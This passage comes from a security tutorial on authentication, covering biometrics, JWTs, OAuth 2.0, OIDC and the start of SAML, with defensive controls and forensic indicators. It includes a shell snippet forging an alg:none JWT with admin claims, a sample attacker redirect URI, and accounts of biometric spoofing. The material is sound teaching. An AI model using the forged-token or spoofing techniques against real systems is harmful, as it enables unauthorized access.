&lt;strong&gt;FAR (False Accept Rate)&lt;/strong&gt; — probability an impostor is wrongly accepted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FRR (False Reject Rate)&lt;/strong&gt; — probability a legitimate user is wrongly rejected.
These trade off against each other via the match threshold — this is the same precision/recall tradeoff you'll see in any classifier, and it is exploitable: an attacker tunes spoof quality to land just inside the FAR tolerance.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.3 Documented Attacks
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Chaos Computer Club (2017)&lt;/strong&gt; demonstrated bypassing Samsung Galaxy S8 iris recognition using a printed photo of the iris plus a contact lens to add curvature/reflection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fingerprint spoofing&lt;/strong&gt; via lifted latent prints reconstructed in silicone or wood glue — demonstrated repeatedly against capacitive sensors lacking liveness detection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Presentation attacks against face recognition&lt;/strong&gt; using photos, masks, or deepfake video injected into the camera feed — this is why modern systems require &lt;strong&gt;liveness detection&lt;/strong&gt; (blink, depth-sensing via structured light/ToF, challenge-response).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.4 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Use sensors with &lt;strong&gt;liveness/anti-spoofing detection&lt;/strong&gt; (depth sensing, blood-flow/pulse detection, infrared).&lt;/li&gt;
&lt;li&gt;Store templates &lt;strong&gt;on-device in a hardware-backed secure enclave&lt;/strong&gt;, never as raw biometric data on a central server — a centralized biometric database is a catastrophic, &lt;strong&gt;unrevocable&lt;/strong&gt; breach if compromised (you can reset a password; you cannot reset your fingerprint).&lt;/li&gt;
&lt;li&gt;Always pair biometrics with a &lt;strong&gt;second independent factor&lt;/strong&gt; for high-value actions — biometric-as-sole-factor is convenience-tier security, not assurance-tier.&lt;/li&gt;
&lt;li&gt;Apply &lt;strong&gt;template encryption and integrity binding&lt;/strong&gt; to the specific device hardware to prevent template extraction-and-replay.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.5 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Biometric authentication events typically log only &lt;strong&gt;match/no-match plus the device's secure enclave attestation&lt;/strong&gt; — raw biometric data should never appear in logs (and if it does, that itself is a serious compliance and security failure to flag). Repeated low-confidence "near-miss" match attempts in short succession are a spoof-attempt indicator.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.6 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Biometric access control is increasingly used for &lt;strong&gt;physical access to control rooms and safety-critical cabinets&lt;/strong&gt;, not network login. The forensic implication for OT incident response: tie physical badge/biometric access logs to the SCADA/HMI session logs — a documented technique in insider-threat investigations is correlating "who was physically present" against "what commands were issued" during the incident window.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Biometrics authenticate identity, not secrecy — design every biometric system assuming the trait itself will eventually be duplicated, and ensure liveness detection plus a second factor carry the real security weight.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Token-Based Authentication
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 First Principles
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;token&lt;/strong&gt; is a piece of data, issued after successful authentication, that the client presents on subsequent requests &lt;strong&gt;instead of re-sending credentials&lt;/strong&gt;. This is the foundational shift away from sessions stored server-side per request, toward bearer-based, often stateless, authentication — and it underlies OAuth, OIDC, JWTs, and API security broadly.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 Stateful vs. Stateless Tokens
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;STATEFUL (Session ID)               STATELESS (JWT)
─────────────────────               ────────────────
Server stores session in DB         Server signs a self-contained token
Client holds only an opaque ID      Client holds the full claims, signed
Revocation: delete server record    Revocation: HARD (must blacklist or
                                     use short expiry + refresh)
Scales poorly across many servers   Scales horizontally with ease
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Anatomy of a JWT (JSON Web Token)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;header.payload.signature&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;eyJhbGciOiJIUzI&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;NiJ&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;eyJzdWIiOiJqZG&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="err"&gt;lIiwicm&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="err"&gt;sZSI&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="err"&gt;ImFkbWluIn&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;sX...signature&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;Decoded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;header:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HS256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"typ"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"JWT"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Decoded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;payload:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"jdoe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1735689600&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 The Critical Vulnerability Class: &lt;code&gt;alg=none&lt;/code&gt; and Algorithm Confusion
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Demonstrating the classic JWT "alg:none" bypass concept (CVE-class issue,&lt;/span&gt;
&lt;span class="c"&gt;# affected numerous poorly-implemented JWT libraries circa 2015-2017)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'{"alg":"none","typ":"JWT"}'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt;       &lt;span class="c"&gt;# forged header&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'{"sub":"admin","role":"admin"}'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt;   &lt;span class="c"&gt;# forged payload&lt;/span&gt;
&lt;span class="c"&gt;# Result: header.payload. (empty signature)&lt;/span&gt;
&lt;span class="c"&gt;# A vulnerable verifier that trusts the client-supplied 'alg' field will&lt;/span&gt;
&lt;span class="c"&gt;# accept this with ZERO valid signature, granting admin claims outright.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A related class: &lt;strong&gt;RS256-to-HS256 algorithm confusion&lt;/strong&gt;, where an attacker takes a server's known-public RSA key and resigns a token using HS256 with that public key string &lt;em&gt;as the HMAC secret&lt;/em&gt; — if the verifier doesn't strictly pin the expected algorithm, it will accept the forged HMAC signature.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.5 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pin the expected algorithm server-side&lt;/strong&gt; — never trust the &lt;code&gt;alg&lt;/code&gt; header from the token itself.&lt;/li&gt;
&lt;li&gt;Keep token lifetimes &lt;strong&gt;short&lt;/strong&gt; (minutes, not days) and pair with refresh tokens that ARE revocable server-side.&lt;/li&gt;
&lt;li&gt;Store sensitive tokens in &lt;strong&gt;httpOnly, Secure, SameSite cookies&lt;/strong&gt; — never in &lt;code&gt;localStorage&lt;/code&gt;, which is trivially exfiltrated by any XSS.&lt;/li&gt;
&lt;li&gt;Implement &lt;strong&gt;token binding&lt;/strong&gt; (tying a token to a TLS channel or device fingerprint) for high-assurance use cases.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Inspecting a JWT quickly without trusting any tooling that auto-verifies&lt;/span&gt;
&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqZG9lIn0.xxx"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; 2&amp;gt;/dev/null   &lt;span class="c"&gt;# decode header&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f2&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; 2&amp;gt;/dev/null   &lt;span class="c"&gt;# decode payload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.6 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Look for tokens with &lt;strong&gt;unexpectedly long lifetimes&lt;/strong&gt;, tokens issued with &lt;code&gt;alg&lt;/code&gt; values outside your expected set, and replay of the same token from &lt;strong&gt;multiple distinct IP/geolocation pairs&lt;/strong&gt; in a short window — the latter is a strong session/token theft indicator.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.7 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Modern OT cloud-connectivity platforms (vendor remote-monitoring portals, digital twin platforms) increasingly issue API tokens to field gateways. A leaked, long-lived, unscoped token to a cloud telemetry API can become a pivot point into the vendor's broader tenant — treat every OT-to-cloud integration token with the same scrutiny as a privileged credential, and scope tokens to the &lt;strong&gt;minimum API surface&lt;/strong&gt; the device actually needs.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; A stolen valid token is functionally equivalent to a stolen password — but often invisible to password-rotation policies. Short lifetimes and strict algorithm pinning are what make tokens safe.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. OAuth 2.0
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 First Principles — OAuth Is Authorization, Not Authentication
&lt;/h3&gt;

&lt;p&gt;This is the single most common misconception in the industry: &lt;strong&gt;OAuth 2.0 was designed to delegate authorization (access to resources), not to prove identity.&lt;/strong&gt; "Login with Google" &lt;em&gt;feels&lt;/em&gt; like authentication, but raw OAuth alone doesn't standardize &lt;em&gt;who&lt;/em&gt; the user is — that gap is exactly what OpenID Connect (Section 8) was built to close.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 The Four Roles
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────┐      ┌──────────────────┐
│   Resource    │      │  Authorization    │
│   Owner       │      │  Server            │
│  (the user)   │      │ (e.g. accounts.    │
└──────┬───────┘      │  google.com)       │
       │               └────────┬──────────┘
       │ grants consent          │ issues token
       ▼                         ▼
┌──────────────┐      ┌──────────────────┐
│   Client      │◄────►│  Resource         │
│ (3rd-party app)│      │  Server            │
│               │      │ (e.g. Google Drive │
│               │      │  API)              │
└──────────────┘      └──────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 The Authorization Code Flow (the only flow you should use for web apps)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;1. Client redirects user to Authorization Server:
   GET https://auth.example.com/authorize?
       response_type=code
       &amp;amp;client_id=abc123
       &amp;amp;redirect_uri=https://app.example.com/callback
       &amp;amp;scope=read:profile
       &amp;amp;state=xyz789RANDOM      # CSRF protection — MUST be unguessable
       &amp;amp;code_challenge=BASE64URL(SHA256(code_verifier))   # PKCE
       &amp;amp;code_challenge_method=S256

2. User authenticates + consents at Authorization Server.

3. Authorization Server redirects back:
   GET https://app.example.com/callback?code=AUTH_CODE&amp;amp;state=xyz789RANDOM

4. Client exchanges code for token (server-to-server, NOT browser-visible):
   POST https://auth.example.com/token
       grant_type=authorization_code
       &amp;amp;code=AUTH_CODE
       &amp;amp;redirect_uri=https://app.example.com/callback
       &amp;amp;client_id=abc123
       &amp;amp;client_secret=SECRET
       &amp;amp;code_verifier=ORIGINAL_RANDOM_STRING   # PKCE proof

5. Authorization Server returns:
   { "access_token": "...", "refresh_token": "...", "expires_in": 3600 }
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 PKCE — Why It Exists
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;PKCE (Proof Key for Code Exchange, RFC 7636)&lt;/strong&gt; was introduced because the authorization code, transmitted via browser redirect, can be intercepted (malicious app on the same mobile device registering the same custom URI scheme, or a referrer leak). PKCE binds the code exchange to a secret (&lt;code&gt;code_verifier&lt;/code&gt;) only the legitimate client holds, so an intercepted &lt;em&gt;code&lt;/em&gt; alone is useless without it. &lt;strong&gt;PKCE is now mandatory best practice for all client types&lt;/strong&gt;, not just public/mobile clients.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.5 Documented Real-World OAuth Vulnerabilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Open Redirect via &lt;code&gt;redirect_uri&lt;/code&gt;&lt;/strong&gt; — if the authorization server doesn't strictly validate the redirect URI against an exact allow-list, an attacker can register &lt;code&gt;https://app.example.com.attacker.com/callback&lt;/code&gt; or exploit a loose wildcard match, redirecting the authorization code straight to themselves.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2022-31093 (Keycloak)&lt;/strong&gt; and various other IdP-specific OAuth/OIDC redirect validation flaws over the years have allowed token/code theft via crafted redirect URIs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;state&lt;/code&gt; parameter omission&lt;/strong&gt; — enables CSRF login attacks where an attacker tricks a victim into completing an OAuth flow that links the &lt;em&gt;attacker's&lt;/em&gt; third-party account to the &lt;em&gt;victim's&lt;/em&gt; session.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual detection: searching IdP logs for authorization requests&lt;/span&gt;
&lt;span class="c"&gt;# with redirect_uri values OUTSIDE the registered allow-list&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"redirect_uri="&lt;/span&gt; auth_server.log | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"app.example.com/callback"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.6 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Exact-match allow-listing of redirect URIs&lt;/strong&gt; — never substring or wildcard match.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Always require and validate &lt;code&gt;state&lt;/code&gt;&lt;/strong&gt; to prevent CSRF.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Always use PKCE&lt;/strong&gt;, even for confidential (server-side) clients.&lt;/li&gt;
&lt;li&gt;Use the &lt;strong&gt;least-privilege &lt;code&gt;scope&lt;/code&gt;&lt;/strong&gt; requested — never request broader scopes than the integration needs.&lt;/li&gt;
&lt;li&gt;Treat &lt;code&gt;client_secret&lt;/code&gt; as a credential: rotate it, never commit it to source control (a chronic real-world finding in public GitHub repos via automated secret-scanning).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7.7 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Authorization-server logs should show the full redirect_uri, scope, and client_id per grant. An anomaly to hunt: a token issued with a &lt;strong&gt;scope broader than the client's registered/expected scope set&lt;/strong&gt;, or a sudden spike in token requests from a single client_id across many distinct user accounts (credential-stuffing-style abuse of a third-party OAuth app).&lt;/p&gt;

&lt;h3&gt;
  
  
  7.8 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;OAuth increasingly governs access between &lt;strong&gt;OT vendor cloud platforms and enterprise SSO&lt;/strong&gt; (e.g., a turbine vendor's remote diagnostics portal federating into the customer's IdP). The risk: an over-broad &lt;code&gt;scope&lt;/code&gt; granted to a vendor integration can become a standing, often-forgotten bridge between corporate identity and OT vendor cloud infrastructure. Audit OAuth app consent grants in your tenant &lt;strong&gt;specifically for OT-vendor applications&lt;/strong&gt; on a recurring schedule — these are rarely reviewed after initial setup.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; OAuth tells you what a token can &lt;em&gt;do&lt;/em&gt;; it never by itself tells you &lt;em&gt;who&lt;/em&gt; the user &lt;em&gt;is&lt;/em&gt;. Confusing authorization with authentication is the root cause of an entire category of "Login with X" vulnerabilities.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. OpenID Connect (OIDC)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 First Principles
&lt;/h3&gt;

&lt;p&gt;OIDC is a thin &lt;strong&gt;identity layer built on top of OAuth 2.0&lt;/strong&gt;. It adds one critical artifact OAuth never defined: the &lt;strong&gt;ID Token&lt;/strong&gt;, a signed JWT that asserts &lt;em&gt;who the user is&lt;/em&gt;, alongside the OAuth access token that governs &lt;em&gt;what the client may do&lt;/em&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OAuth 2.0 alone:           access_token   →  "you may call this API"
OAuth 2.0 + OIDC:          access_token   →  "you may call this API"
                           id_token (JWT) →  "this user is jdoe@corp.com,
                                              authenticated at time T,
                                              by issuer https://idp.corp.com"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 ID Token Structure (Decoded)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"iss"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://idp.corp.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9f8e7d6c-..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"aud"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"client-app-id"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1735693200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1735689600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"nonce"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"n-0S6_WzA2Mj"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"jdoe@corp.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email_verified"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Critical fields a defender must validate (and that vulnerable implementations historically skipped):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;iss&lt;/code&gt; — is this issuer the one you trust?&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;aud&lt;/code&gt; — was this token actually issued &lt;em&gt;for your client&lt;/em&gt;, not stolen from a different client of the same IdP?&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;exp&lt;/code&gt;/&lt;code&gt;iat&lt;/code&gt; — is it within validity window?&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;nonce&lt;/code&gt; — matches the one your client generated, preventing replay of a stale ID token.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  8.3 Documented Vulnerability Pattern: Missing &lt;code&gt;aud&lt;/code&gt; Validation
&lt;/h3&gt;

&lt;p&gt;If a relying party fails to check &lt;code&gt;aud&lt;/code&gt;, an attacker who legitimately obtained an ID token for &lt;strong&gt;a different, less-trusted client application&lt;/strong&gt; of the &lt;em&gt;same&lt;/em&gt; IdP can replay that token against the higher-trust application — because the IdP's signature is valid, just not meant for this audience. This exact class of bug has appeared repeatedly across OIDC library implementations and is a standard finding in IAM security assessments.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.4 Discovery and JWKS — How Trust Is Established at Scale
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# OIDC discovery document — published at a well-known URL, tells clients&lt;/span&gt;
&lt;span class="c"&gt;# everything they need: token endpoint, issuer, supported scopes, and&lt;/span&gt;
&lt;span class="c"&gt;# crucially, the JWKS URI for signature verification keys&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://idp.corp.com/.well-known/openid-configuration | jq &lt;span class="nb"&gt;.&lt;/span&gt;

&lt;span class="c"&gt;# Example relevant fields returned:&lt;/span&gt;
&lt;span class="c"&gt;# {&lt;/span&gt;
&lt;span class="c"&gt;#   "issuer": "https://idp.corp.com",&lt;/span&gt;
&lt;span class="c"&gt;#   "authorization_endpoint": "https://idp.corp.com/authorize",&lt;/span&gt;
&lt;span class="c"&gt;#   "token_endpoint": "https://idp.corp.com/token",&lt;/span&gt;
&lt;span class="c"&gt;#   "jwks_uri": "https://idp.corp.com/.well-known/jwks.json"&lt;/span&gt;
&lt;span class="c"&gt;# }&lt;/span&gt;

&lt;span class="c"&gt;# Fetching the actual public signing keys to verify ID token signatures&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://idp.corp.com/.well-known/jwks.json | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.5 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Validate &lt;strong&gt;every&lt;/strong&gt; claim — &lt;code&gt;iss&lt;/code&gt;, &lt;code&gt;aud&lt;/code&gt;, &lt;code&gt;exp&lt;/code&gt;, &lt;code&gt;nonce&lt;/code&gt;, signature — never trust just signature validity alone.&lt;/li&gt;
&lt;li&gt;Rotate signing keys regularly and always fetch them live from &lt;code&gt;jwks_uri&lt;/code&gt;, never hardcode a key.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;nonce&lt;/code&gt; parameter on every authorization request to prevent ID token replay.&lt;/li&gt;
&lt;li&gt;Restrict which IdPs/issuers are trusted via an explicit allow-list — never accept "any valid JWT from anywhere."&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  8.6 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;ID token validation failures (bad &lt;code&gt;aud&lt;/code&gt;, expired &lt;code&gt;exp&lt;/code&gt;, signature mismatch) should be logged and alerted distinctly from generic auth failures — a spike in &lt;code&gt;aud&lt;/code&gt; mismatches across many requests suggests active token replay/confusion attack attempts against your relying party.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.7 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;OIDC underlies most modern &lt;strong&gt;cloud-based ICS/SCADA HMI access portals&lt;/strong&gt; (vendors increasingly offer browser-based HMI access federated through OIDC). Validate that these portals enforce strict &lt;code&gt;aud&lt;/code&gt; and &lt;code&gt;iss&lt;/code&gt; checks — a misconfigured OT vendor portal accepting tokens broadly scoped to "any corporate user" rather than the specific OT-access group is a documented category of finding in OT security assessments.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; OIDC's ID token answers "who," OAuth's access token answers "what" — verifying only the token signature without checking &lt;code&gt;iss&lt;/code&gt;/&lt;code&gt;aud&lt;/code&gt;/&lt;code&gt;nonce&lt;/code&gt; is equivalent to checking a passport's hologram but never reading the name on it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. SAML
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 First Principles
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;SAML (Security Assertion Markup Language)&lt;/strong&gt; is an XML-based standard for exchanging authentication and authorization assertions between an &lt;strong&gt;Identity Provider (IdP)&lt;/strong&gt; and a &lt;strong&gt;Service Provider (SP)&lt;/strong&gt;. It predates OAuth/OIDC and remains dominant in large enterprise SSO (Okta, Active Directory Federation Services / ADFS, PingFederate) because of its maturity and strong enterprise tooling support.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.2 The SP-Initiated Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; User           Service Provider (SP)        Identity Provider (IdP)
